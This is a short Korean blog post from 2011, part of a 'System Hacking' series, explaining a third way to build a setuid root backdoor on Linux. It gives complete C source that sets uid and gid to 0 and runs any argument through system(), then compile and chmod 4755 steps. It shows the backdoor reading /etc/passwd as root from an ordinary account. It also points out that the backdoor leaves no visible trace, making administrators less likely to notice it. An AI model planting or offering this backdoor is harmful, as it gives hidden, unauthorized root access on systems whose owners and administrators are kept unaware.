되는대로 살자

[System Hacking] setuid를 이용한 백도어 만들기 - 세번째 방법 본문

2009~2014/Hacking_System

[System Hacking] setuid를 이용한 백도어 만들기 - 세번째 방법

malu 2011. 7. 21. 16:54

먼저 #vi backexec.c를 입력하여 backexec.c라는 파일을 만들고 다음 코드를 입력합니다. 

#include <stdio.h>
int main(int argc, char *argv[]){
   char exec[100];
   setuid(0);
   setgid(0);
   sprintf(exec,"%s 2>/dev/null", argv[1]);
   system(exec);
}

그리고 마찬가지로 #gcc -o backexec backexec.c를 입력하여 컴파일 해줍니다. 
#chmod 4755 backexec로 접근권한 및 setuid 설정을 바꿔줍니다. 

이제 일반 사용자 모드로 접속하여 백도어를 실행하겠습니다. 이번 백도어는 앞의 두가지 방법들과는 달리 실행명령어 뒤에 큰따옴표를 붙여 그 안의 명령어를 실행하는 방식입니다. 이 방식은 단순히 실행하면 아무런 표시도 나지 않기 때문에 관리자에게 걸릴 확률이 비교적 적다고 할 수 있겠네요.

./backexec "id" 또는 ./backexec "tail /etc/passwd" 처럼 ""를 붙여 입력했을 때는 그 내용이 루트 권한으로 실행되는 것을 확인 하실 수 있습니다. 지금까지 소개한 세가지 백도어들은 미세하게는 차이가 있으나 큰 흐름은 같습니다. 마음에 드는 방법을 한가지 선택하셔서 연습하시면 되겠습니다.

다음 포스팅에서는 백도어를 찾는 방법과, 들키지 않게 숨기는 방법을 소개하겠습니다.